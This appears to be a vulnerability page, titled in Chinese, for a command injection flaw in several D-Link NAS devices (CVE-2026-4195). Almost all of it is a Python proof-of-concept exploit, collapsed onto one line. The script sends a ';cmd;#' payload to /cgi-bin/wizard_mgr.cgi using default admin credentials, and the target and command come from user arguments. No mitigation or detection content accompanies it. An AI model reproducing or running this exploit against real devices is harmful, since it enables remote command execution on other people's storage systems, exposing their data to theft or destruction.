D-Link多款NAS设备命令注入漏洞 (CVE-2026-4195)

import requests import sys # CVE-2026-4195 PoC - D-Link NAS Command Injection # Target: /cgi-bin/wizard_mgr.cgi def exploit(target_ip, target_port=80, username='admin', password='admin', cmd='id'): """Exploit command injection in D-Link NAS devices""" url = f'http://{target_ip}:{target_port}/cgi-bin/wizard_mgr.cgi' # Construct malicious payload with command injection # Inject command via parameter manipulation payload = f';{cmd};#' # Authentication headers auth = (username, password) # Malicious request parameters data = { 'action': 'wizard_submit', 'param': payload } try: response = requests.post(url, data=data, auth=auth, timeout=10) print(f'Status Code: {response.status_code}') print(f'Response: {response.text}') return response except requests.exceptions.RequestException as e: print(f'Error: {e}') return None if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_ip> [port] [username] [password] [command]') sys.exit(1) target = sys.argv[1] port = sys.argv[2] if len(sys.argv) > 2 else 80 user = sys.argv[3] if len(sys.argv) > 3 else 'admin' pwd = sys.argv[4] if len(sys.argv) > 4 else 'admin' cmd = sys.argv[5] if len(sys.argv) > 5 else 'id' exploit(target, port, user, pwd, cmd)